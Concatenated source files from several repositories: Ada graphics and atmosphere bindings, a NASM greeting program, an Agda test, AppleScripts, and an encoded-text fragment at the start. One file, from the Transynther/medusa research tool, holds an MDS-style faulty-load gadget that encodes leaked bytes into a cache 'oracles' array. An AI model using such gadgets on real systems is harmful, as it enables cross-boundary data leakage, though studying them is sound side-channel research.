mFk86938bTN0lvycVrTr5zTZYzdmZ5/uXpJ9+sNa3ePZG98dAqmNWyAycdpSkYlrln/tA/HnlCUEzCnr NXhVGq/LMApGwShAAQAsUmvi; DEFINE COMMENT 1 eJyzYmBgWClRdWalhPeyB6IsEx6ISjcoi7yJbBfd6tIu2mvwXZwBDJYoMzCwaAqwFmvX8oD4p6U9bLcq <KEY>//i/EjYN/SnyKUxDwiFMUAOk7ojXsrT1AUcz coKOZpQHL0vTDLmaCRJ/kfok60XquoovaTz1ERney0Sznm0QzQreAZIrqGJSP1l1NEO35m2Nbs2xbpe6 <KEY> ;
src/libtcod-clipboard.ads
csb6/libtcod-ada
0
1474
<reponame>csb6/libtcod-ada package Libtcod.Clipboard is procedure set(value : String); function get return String; end Libtcod.Clipboard;
opengl-vertex_array.adb
io7m/coreland-opengl-ada
1
2994
package body OpenGL.Vertex_Array is procedure Enable_Attribute_Array (Index : in Attribute_Index_t) is begin Thin.Enable_Vertex_Attrib_Array (Thin.Unsigned_Integer_t (Index)); end Enable_Attribute_Array; procedure Disable_Attribute_Array (Index : in Attribute_Index_t) is begin Thin.Disable_Vertex_Attrib_Array (Thin.Unsigned_Integer_t (Index)); end Disable_Attribute_Array; procedure Generate_Arrays (Arrays : in out Array_Index_Array_t) is begin Thin.Gen_Vertex_Arrays (Size => Arrays'Length, Arrays => Arrays (Arrays'First)'Address); end Generate_Arrays; procedure Delete_Arrays (Arrays : in Array_Index_Array_t) is begin Thin.Delete_Vertex_Arrays (Size => Arrays'Length, Arrays => Arrays (Arrays'First)'Address); end Delete_Arrays; procedure Draw_Arrays (Mode : in OpenGL.Vertex.Primitive_Type_t; First : in Attribute_Index_t; Count : in Attribute_Count_t) is begin Thin.Draw_Arrays (Mode => Vertex.Primitive_Type_To_Constant (Mode), First => Thin.Integer_t (First), Count => Thin.Size_t (Count)); end Draw_Arrays; -- -- Bind_Array -- procedure Bind_Array (Index : in Array_Index_t) is begin Thin.Bind_Vertex_Array (Thin.Unsigned_Integer_t (Index)); end Bind_Array; -- -- Pointer -- procedure Pointer_Integer (Data : in Vertex_Array_t; Coords_Per_Vertex : in Coords_Per_Vertex_t; Stride : in Natural) is Data_Type : Thin.Enumeration_t; begin case Vertex_Type is when Integer => Data_Type := Thin.GL_INT; when Short => Data_Type := Thin.GL_SHORT; end case; Thin.Vertex_Pointer (Size => Thin.Integer_t (Coords_Per_Vertex), Data_Type => Data_Type, Stride => Thin.Size_t (Stride), Pointer => Data (Data'First)'Address); end Pointer_Integer; procedure Pointer_Float (Data : in Vertex_Array_t; Coords_Per_Vertex : in Coords_Per_Vertex_t; Stride : in Natural) is Data_Type : Thin.Enumeration_t; begin case Vertex_Type is when Float => Data_Type := Thin.GL_FLOAT; when Double => Data_Type := Thin.GL_DOUBLE; end case; Thin.Vertex_Pointer (Size => Thin.Integer_t (Coords_Per_Vertex), Data_Type => Data_Type, Stride => Thin.Size_t (Stride), Pointer => Data (Data'First)'Address); end Pointer_Float; end OpenGL.Vertex_Array;
NASM 32-bit/nice2meet.asm
CosasDePuma/Aesthetic-Programming
2
1735
<reponame>CosasDePuma/Aesthetic-Programming ; _________________ ; // \\ ; || HOW TO COMPILE IT || ; \\_________________// ; ; ------ x86 ------ ; nasm -f elf nice2meet.asm ; ld -s -o nice2meet nice2meet.asm ; ; ------ x86_64 ------ ; nasm -f elf64 nice2meet.asm ; ld -s -o nice2meet nice2meet.asm ; ; ------ COMPILER ------ ; ./compiler.sh nice2meet ; ./compiler.sh nice2meet.asm nice2meet ; ; -- Always x86 --- ; nasm -f elf nice2meet.asm ; ld -m elf_i386 -s -o nice2meet nice2meet.o ; ; _________________ ; // \\ ; || DESCRIPTION || ; \\_________________// ; ; Nice2Meet is an improved ; "Hello World!" ; ; LEVEL: 02 ; ASM: NASM 32-bit ; ENVS: Linux ; AUTHOR: CosasDePuma ; DATE: August, 3rd 2017 section .data ; CONSTANTS question: db "What's your name? " ; question question_l: equ $-question ; question lenght response: db "Nice to meet you, " ; response response_l: equ $-response ; response lenght section .bss ; VARIABLES name: resb 255 ; name variable section .text ; CODE global _start ; set _start as main function _start: ; define _start function ; PRINT QUESTION mov eax, 4 ; eax=4 >> sys_write mov ebx, 1 ; ebx=1 >> in stdout mov ecx, question ; set message to print mov edx, question_l ; set lenght of the message int 80h ; execute command (call kernel) ; READ INPUT mov eax, 3 ; eax=3 >> sys_read mov ebx, 0 ; ebx=0 >> from stdin mov ecx, name ; set locaton to save mov edx, 255 ; set maximum lenght int 80h ; execute command (call kernel) ; PRINT RESPONSE mov eax, 4 ; eax=4 >> sys_write mov ebx, 1 ; ebx=1 >> in stdout mov ecx, response ; set message to print mov edx, response_l ; set lenght of the message int 80h ; execute command (call kernel) ; PRINT NAME mov eax, 4 ; eax=4 >> sys_write mov ebx, 1 ; ebx=1 >> in stdout mov ecx, name ; set message to print mov edx, 255 ; set lenght of the message int 80h ; execute command (call kernel) ; AVOIDING SEGMENTATION ERROR mov eax, 1 ; EXIT: EAX=1 mov ebx, 0 ; EXIT: EBX=Exit Status int 80h ; execute command (call kernel)
orka_plugin_atmosphere/src/orka-features-atmosphere.ads
onox/orka
52
22513
<filename>orka_plugin_atmosphere/src/orka-features-atmosphere.ads -- SPDX-License-Identifier: BSD-3-Clause -- -- Copyright (c) 2017 <NAME> -- All rights reserved. -- -- Redistribution and use in source and binary forms, with or without -- modification, are permitted provided that the following conditions -- are met: -- 1. Redistributions of source code must retain the above copyright -- notice, this list of conditions and the following disclaimer. -- 2. Redistributions in binary form must reproduce the above copyright -- notice, this list of conditions and the following disclaimer in the -- documentation and/or other materials provided with the distribution. -- 3. Neither the name of the copyright holders nor the names of its -- contributors may be used to endorse or promote products derived from -- this software without specific prior written permission. -- -- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" -- AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE -- IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE -- ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE -- LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR -- CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF -- SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS -- INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN -- CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) -- ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF -- THE POSSIBILITY OF SUCH DAMAGE. -- The shader returned by Get_Shader provides the following -- functions (that you need to forward declare in your own shaders to be able to -- compile them separately): -- -- // Returns the radiance of the Sun, outside the atmosphere. -- vec3 GetSolarRadiance(); -- -- // Returns the sky radiance along the segment from 'camera' to the nearest -- // atmosphere boundary in direction 'view_ray', as well as the transmittance -- // along this segment. -- vec3 GetSkyRadiance(vec3 camera, vec3 view_ray, double shadow_length, -- vec3 sun_direction, out vec3 transmittance, out bool intersects_ground); -- -- // Returns the sky radiance along the segment from 'camera' to 'p', as well as -- // the transmittance along this segment. -- vec3 GetSkyRadianceToPoint(vec3 camera, vec3 p, double shadow_length, -- vec3 sun_direction, out vec3 transmittance); -- -- // Returns the sun and sky irradiance received on a surface patch located at 'p' -- // and whose normal vector is 'normal'. -- vec3 GetSunAndSkyIrradiance(vec3 p, vec3 normal, vec3 sun_direction, -- out vec3 sky_irradiance); -- -- // Returns the luminance of the Sun, outside the atmosphere. -- vec3 GetSolarLuminance(); -- -- // Returns the sky luminance along the segment from 'camera' to the nearest -- // atmosphere boundary in direction 'view_ray', as well as the transmittance -- // along this segment. -- vec3 GetSkyLuminance(vec3 camera, vec3 view_ray, double shadow_length, -- vec3 sun_direction, out vec3 transmittance, out bool intersects_ground); -- -- // Returns the sky luminance along the segment from 'camera' to 'p', as well as -- // the transmittance along this segment. -- vec3 GetSkyLuminanceToPoint(vec3 camera, vec3 p, double shadow_length, -- vec3 sun_direction, out vec3 transmittance); -- -- // Returns the sun and sky illuminance received on a surface patch located at -- // 'p' and whose normal vector is 'normal'. -- vec3 GetSunAndSkyIlluminance(vec3 p, vec3 normal, vec3 sun_direction, -- out vec3 sky_illuminance); -- -- where -- -- - camera and p must be expressed in a reference frame where the planet center -- is at the origin, and measured in the unit passed to the constructor's -- length_unit_in_meters argument. camera can be in space, but p must be -- inside the atmosphere -- -- - view_ray, sun_direction and normal are unit direction vectors expressed -- in the same reference frame (with sun_direction pointing *towards* the Sun) -- -- - shadow_length is the length along the segment which is in shadow, measured -- in the unit passed to the constructor's length_unit_in_meters argument -- -- and where -- -- - the first 4 functions return spectral radiance and irradiance values -- (in $W.m^{-2}.sr^{-1}.nm^{-1}$ and $W.m^{-2}.nm^{-1}$), at the 3 wavelengths -- K_Lambda_R, K_Lambda_G, K_Lambda_B (in this order) -- -- - the other functions return luminance and illuminance values (in -- $cd.m^{-2}$ and $lx$) in linear [sRGB](https://en.wikipedia.org/wiki/SRGB) -- space (i.e. before adjustments for gamma correction) -- -- - all the functions return the (unitless) transmittance of the atmosphere -- along the specified segment at the 3 wavelengths K_Lambda_R, -- K_Lambda_G, K_Lambda_B (in this order) -- -- Note: The precomputed atmosphere textures can store either irradiance -- or illuminance values (see the Num_Precomputed_Wavelengths parameter): -- -- - when using irradiance values, the RGB channels of these textures contain -- spectral irradiance values, in $W.m^{-2}.nm^{-1}$, at the 3 wavelengths -- K_Lambda_R, K_Lambda_G, K_Lambda_B (in this order). The API functions -- returning radiance values return these precomputed values (times the -- phase functions), while the API functions returning luminance values use -- the approximation described in -- "A Qualitative and Quantitative Evaluation of 8 Clear Sky Models" [1], -- section 14.3, to convert 3 radiance values to linear sRGB luminance values -- -- - when using illuminance values, the RGB channels of these textures contain -- illuminance values, in $lx$, in linear sRGB space. These illuminance values -- are precomputed as described in -- "Real-time Spectral Scattering in Large-scale Natural Participating Media" [2], -- section 4.4 (i.e. Num_Precomputed_Wavelengths irradiance values are -- precomputed, and then converted to sRGB via a numerical integration of this -- spectrum with the CIE color matching functions). The API functions returning -- luminance values return these precomputed values (times the phase functions), -- while *the API functions returning radiance values are not provided* -- -- [1] https://arxiv.org/pdf/1612.04336.pdf -- [2] http://www.oskee.wz.cz/stranka/uploads/SCCG10ElekKmoch.pdf private with GL.Low_Level.Enums; private with GL.Objects.Textures; private with GL.Objects.Samplers; with Ada.Containers.Vectors; with GL.Types; with Orka.Resources.Locations; with Orka.Rendering.Programs.Modules; package Orka.Features.Atmosphere is pragma Preelaborate; type Luminance_Type is (None, Approximate, Precomputed); use GL.Types; type Density_Profile_Layer is record Width, Exp_Term, Exp_Scale, Linear_Term, Constant_Term : Double := 0.0; end record; -- An atmosphere layer of Width (in m), and whose density is defined as -- Exp_Term * exp(Exp_Scale * h) + Linear_Term * h + Constant_Term, -- clamped to [0,1], and where h is the altitude (in m). Exp_Term and -- Constant_Term are unitless, while Exp_Scale and Linear_Term are in m^-1. use type Ada.Containers.Count_Type; package Double_Vectors is new Ada.Containers.Vectors (Natural, Double); package Density_Vectors is new Ada.Containers.Vectors (Natural, Density_Profile_Layer); type Model_Data (Samples : Ada.Containers.Count_Type) is record Luminance : Luminance_Type; Wavelengths : Double_Vectors.Vector; -- The wavelength values, in nanometers, and sorted in increasing order, for -- which the solar_irradiance, rayleigh_scattering, mie_scattering, -- mie_extinction and ground_albedo samples are provided. If your shaders -- use luminance values (as opposed to radiance values, see above), use a -- large number of wavelengths (e.g. between 15 and 50) to get accurate -- results (this number of wavelengths has absolutely no impact on the -- shader performance). Solar_Irradiance : Double_Vectors.Vector; -- Solar irradiance at the top of the atmosphere, in W/m^2/nm. This -- vector must have the same size as the wavelengths parameter. Sun_Angular_Radius : Double; -- Sun's angular radius in radians. Warning: the implementation uses -- approximations that are valid only if this value is smaller than 0.1. Bottom_Radius : Double; -- Distance between the planet center and the bottom of the atmosphere, in m Top_Radius : Double; -- Distance between the planet center and the top of the atmosphere, in m Rayleigh_Density : Density_Vectors.Vector; -- The density profile of air molecules, i.e. a function from altitude to -- dimensionless values between 0 (null density) and 1 (maximum density). -- Layers must be sorted from bottom to top. The width of the last layer is -- ignored, i.e. it always extend to the top atmosphere boundary. At most 2 -- layers can be specified. Rayleigh_Scattering : Double_Vectors.Vector; -- The scattering coefficient of air molecules at the altitude where their -- density is maximum (usually the bottom of the atmosphere), as a function -- of wavelength, in m^-1. The scattering coefficient at altitude h is equal -- to 'rayleigh_scattering' times 'rayleigh_density' at this altitude. This -- vector must have the same size as the wavelengths parameter. Mie_Density : Density_Vectors.Vector; -- The density profile of aerosols, i.e. a function from altitude to -- dimensionless values between 0 (null density) and 1 (maximum density). -- Layers must be sorted from bottom to top. The width of the last layer is -- ignored, i.e. it always extend to the top atmosphere boundary. At most 2 -- layers can be specified. Mie_Scattering : Double_Vectors.Vector; -- The scattering coefficient of aerosols at the altitude where their -- density is maximum (usually the bottom of the atmosphere), as a function -- of wavelength, in m^-1. The scattering coefficient at altitude h is equal -- to 'mie_scattering' times 'mie_density' at this altitude. This vector -- must have the same size as the wavelengths parameter. Mie_Extinction : Double_Vectors.Vector; -- The extinction coefficient of aerosols at the altitude where their -- density is maximum (usually the bottom of the atmosphere), as a function -- of wavelength, in m^-1. The extinction coefficient at altitude h is equal -- to 'mie_extinction' times 'mie_density' at this altitude. This vector -- must have the same size as the wavelengths parameter. Mie_Phase_Function_G : Double; -- The asymetry parameter for the Cornette-Shanks phase function for the -- aerosols. Absorption_Density : Density_Vectors.Vector; -- The density profile of air molecules that absorb light (e.g. ozone), i.e. -- a function from altitude to dimensionless values between 0 (null density) -- and 1 (maximum density). Layers must be sorted from bottom to top. The -- width of the last layer is ignored, i.e. it always extend to the top -- atmosphere boundary. At most 2 layers can be specified. Absorption_Extinction : Double_Vectors.Vector; -- The extinction coefficient of molecules that absorb light (e.g. ozone) at -- the altitude where their density is maximum, as a function of wavelength, -- in m^-1. The extinction coefficient at altitude h is equal to -- 'absorption_extinction' times 'absorption_density' at this altitude. This -- vector must have the same size as the wavelengths parameter. Ground_Albedo : Double_Vectors.Vector; -- The average albedo of the ground, as a function of wavelength. This -- vector must have the same size as the wavelengths parameter. Max_Sun_Zenith_Angle : Double; -- The maximum Sun zenith angle for which atmospheric scattering must be -- precomputed, in radians (for maximum precision, use the smallest Sun -- zenith angle yielding negligible sky light radiance values. For instance, -- for the Earth case, 102 degrees is a good choice for most cases (120 -- degrees is necessary for very high exposure values). Length_Unit_In_Meters : Double; -- The length unit used in your shaders and meshes. This is the length unit -- which must be used when calling the atmosphere model shader functions. Num_Precomputed_Wavelengths : GL.Types.UInt; -- The number of wavelengths for which atmospheric scattering must be -- precomputed (the temporary GPU memory used during precomputations, and -- the GPU memory used by the precomputed results, is independent of this -- number, but the precomputation time is directly proportional to this -- number): -- - if this number is less than or equal to 3, scattering is precomputed -- for 3 wavelengths, and stored as irradiance values. Then both the -- radiance-based and the luminance-based API functions are provided (see -- the above note). -- - otherwise, scattering is precomputed for this number of wavelengths -- (rounded up to a multiple of 3), integrated with the CIE color matching -- functions, and stored as illuminance values. Then only the -- luminance-based API functions are provided (see the above note). Combine_Scattering_Textures : Boolean; -- Whether to pack the (red component of the) single Mie scattering with the -- Rayleigh and multiple scattering in a single texture, or to store the -- (3 components of the) single Mie scattering in a separate texture. Half_Precision : Boolean; -- Whether to use half precision floats (16 bits) or single precision floats -- (32 bits) for the precomputed textures. Half precision is sufficient for -- most cases, except for very high exposure values. end record with Dynamic_Predicate => Model_Data.Rayleigh_Density.Length <= 2 and Model_Data.Absorption_Density.Length <= 2 and Model_Data.Sun_Angular_Radius < 0.1 and Model_Data.Wavelengths.Length = Model_Data.Samples and Model_Data.Solar_Irradiance.Length = Model_Data.Samples and Model_Data.Rayleigh_Scattering.Length = Model_Data.Samples and Model_Data.Mie_Scattering.Length = Model_Data.Samples and Model_Data.Mie_Extinction.Length = Model_Data.Samples and Model_Data.Absorption_Extinction.Length = Model_Data.Samples and Model_Data.Ground_Albedo.Length = Model_Data.Samples; type Precomputed_Textures is private; procedure Bind_Textures (Object : Precomputed_Textures); type Model (Data : not null access constant Model_Data) is tagged limited private; function Create_Model (Data : not null access constant Model_Data; Location : Resources.Locations.Location_Ptr) return Model; function Compute_Textures (Object : Model; Scattering_Orders : Natural := 4) return Precomputed_Textures; function Get_Shader (Object : Model) return Rendering.Programs.Modules.Module; procedure Convert_Spectrum_To_Linear_SRGB (Data : Model_Data; R, G, B : out Double); -- Utility method to convert a function of the wavelength to linear sRGB -- -- Wavelengths and solar irradiance must have the same size. The integral of -- Spectrum times each CIE_2_Deg_Color_Matching_Functions (and times -- Max_Luminous_Efficacy) is computed to get XYZ values, which are then -- converted to linear sRGB with the XYZ_To_SRGB matrix. -- -- For white balance, divide R, G, and B by the average of the three numbers private package Textures renames GL.Objects.Textures; package LE renames GL.Low_Level.Enums; type Precomputed_Textures is record Sampler : GL.Objects.Samplers.Sampler; Combine_Scattering : Boolean; Transmittance_Texture : Textures.Texture (LE.Texture_2D); Scattering_Texture : Textures.Texture (LE.Texture_3D); Irradiance_Texture : Textures.Texture (LE.Texture_2D); Optional_Single_Mie_Scattering_Texture : Textures.Texture (LE.Texture_3D); -- Unused if Combine_Scattering is True end record; type Model (Data : not null access constant Model_Data) is tagged limited record Data_Definitions : Resources.Byte_Array_Pointers.Pointer; Data_Functions : Resources.Byte_Array_Pointers.Pointer; Location : Resources.Locations.Location_Access; Sky_K_R, Sky_K_G, Sky_K_B : GL.Types.Double; Sun_K_R, Sun_K_G, Sun_K_B : GL.Types.Double; end record; function Create_Sampler return GL.Objects.Samplers.Sampler; K_Lambda_Min : constant Double := 360.0; K_Lambda_Max : constant Double := 830.0; end Orka.Features.Atmosphere;
test/Fail/Issue3572.agda
cruhland/agda
1,989
80
<gh_stars>1000+ {-# OPTIONS --cubical #-} module _ where open import Agda.Primitive.Cubical open import Agda.Builtin.Cubical.Path data Interval : Set where left right : Interval sq : left ≡ right -- Agda should not loop when typechecking the following definition. -- -- Termination checking should catch that `id left` is not -- normalizing, given our definition of reduction. -- -- Hence conversion checking shouldn't reduce applications of `id`. id : Interval → Interval id (sq i) = sq i id left = id (sq i0) id right = id (sq i1)
Transynther/x86/_processed/NONE/_zr_/i7-8650U_0xd2.log_21829_446.asm
ljhsiun2/medusa
9
168493
<reponame>ljhsiun2/medusa .global s_prepare_buffers s_prepare_buffers: push %r10 push %r13 push %r15 push %r9 push %rax push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_normal_ht+0x2cb0, %rax nop nop add $55302, %rbp movw $0x6162, (%rax) nop nop nop xor %r9, %r9 lea addresses_UC_ht+0x18948, %rbp cmp $53336, %r15 movw $0x6162, (%rbp) nop nop nop xor $36845, %r15 lea addresses_D_ht+0x119d0, %r13 nop nop and %rbx, %rbx movb (%r13), %r15b nop nop nop nop nop and $39186, %r15 lea addresses_WT_ht+0x10170, %rbx nop nop nop nop inc %rax mov $0x6162636465666768, %r13 movq %r13, (%rbx) nop xor $42545, %r10 lea addresses_WT_ht+0x4d10, %rsi lea addresses_WC_ht+0x18270, %rdi nop nop sub %r10, %r10 mov $65, %rcx rep movsq nop nop nop xor %r13, %r13 lea addresses_A_ht+0x6190, %rbx clflush (%rbx) nop nop nop dec %rsi movb $0x61, (%rbx) nop nop nop nop nop inc %rdi lea addresses_normal_ht+0x175f8, %rbx clflush (%rbx) nop nop cmp %r9, %r9 mov (%rbx), %r13 nop nop xor $118, %rdi lea addresses_A_ht+0x14b70, %rbx nop nop nop nop nop sub $13447, %rsi and $0xffffffffffffffc0, %rbx movntdqa (%rbx), %xmm0 vpextrq $0, %xmm0, %r13 nop xor $9698, %r15 lea addresses_normal_ht+0x18370, %rsi lea addresses_normal_ht+0x18070, %rdi nop nop nop nop nop xor %r13, %r13 mov $94, %rcx rep movsw nop nop nop nop nop lfence lea addresses_UC_ht+0x1af70, %rsi lea addresses_WC_ht+0x14e70, %rdi nop dec %rbp mov $127, %rcx rep movsl nop nop nop nop nop sub %r13, %r13 lea addresses_UC_ht+0x3570, %r9 nop nop nop nop xor %r13, %r13 movb $0x61, (%r9) nop nop nop nop nop xor $17969, %r9 lea addresses_D_ht+0xd230, %rdi nop nop nop nop nop dec %r13 mov $0x6162636465666768, %rbx movq %rbx, %xmm0 vmovups %ymm0, (%rdi) add $31052, %rcx lea addresses_UC_ht+0xf270, %r15 clflush (%r15) nop nop nop nop add %rbp, %rbp movw $0x6162, (%r15) nop nop nop nop nop xor %r9, %r9 lea addresses_WT_ht+0x5440, %rdi nop nop nop nop nop cmp %rax, %rax movb $0x61, (%rdi) nop nop nop nop nop xor $39850, %rbp lea addresses_UC_ht+0xfb70, %r9 nop nop nop nop nop and $35943, %rax mov $0x6162636465666768, %rbx movq %rbx, (%r9) nop nop nop nop nop dec %r10 pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %rax pop %r9 pop %r15 pop %r13 pop %r10 ret .global s_faulty_load s_faulty_load: push %r14 push %r8 push %rbx push %rcx push %rsi // Faulty Load lea addresses_WC+0xfb70, %rbx nop nop dec %r14 vmovups (%rbx), %ymm4 vextracti128 $0, %ymm4, %xmm4 vpextrq $0, %xmm4, %r8 lea oracles, %rbx and $0xff, %r8 shlq $12, %r8 mov (%rbx,%r8,1), %r8 pop %rsi pop %rcx pop %rbx pop %r8 pop %r14 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 16, 'AVXalign': False, 'NT': True, 'congruent': 11, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 8, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 1, 'AVXalign': False, 'NT': True, 'congruent': 3, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
Image Processing Scripts/Image Properties/Get Image Property.applescript
bbelyeu/applescripts
12
3950
set this_file to choose file try tell application "Image Events" -- start the Image Events application launch -- open the image file set this_image to open this_file -- extract the property value copy the resolution of this_image to {H_res, V_res} -- purge the open image data close this_image end tell display dialog "Resolution: " & (H_res as string) on error error_message display dialog error_message end try
source/lexer/generated/webidl-scanner_types.ads
reznikmm/webidl
0
9562
package WebIDL.Scanner_Types is pragma Preelaborate; type State is mod +32; subtype Looping_State is State range 0 .. 23; subtype Final_State is State range 13 .. State'Last - 1; Error_State : constant State := State'Last; INITIAL : constant State := 0; In_Comment : constant State := 12; type Character_Class is mod +19; type Rule_Index is range 0 .. 11; end WebIDL.Scanner_Types;
send-message.applescript
necenzurat/imessage-sms
1
2066
on run {phone, messageText} tell application "Messages" set isAppRunning to false tell application "System Events" if (exists process "Messages") then set isAppRunning to true end if end tell if isAppRunning is false then activate end if tell application "System Events" to tell process "Messages" click menu item "New Message" of menu 1 of menu bar item "File" of menu bar 1 set outputString to phone set len to length of outputString delay 1 repeat with i from 1 to len set x to character i of outputString keystroke x end repeat tell application "System Events" key code 36 end tell keystroke messageText tell application "System Events" key code 36 end tell end tell delay 2 set miniaturized of window 1 to true end tell end run
calculator/src/main/antlr4/com/nkouevda/antlr/calculator/Calculator.g4
nkouevda/antlr-examples
1
607
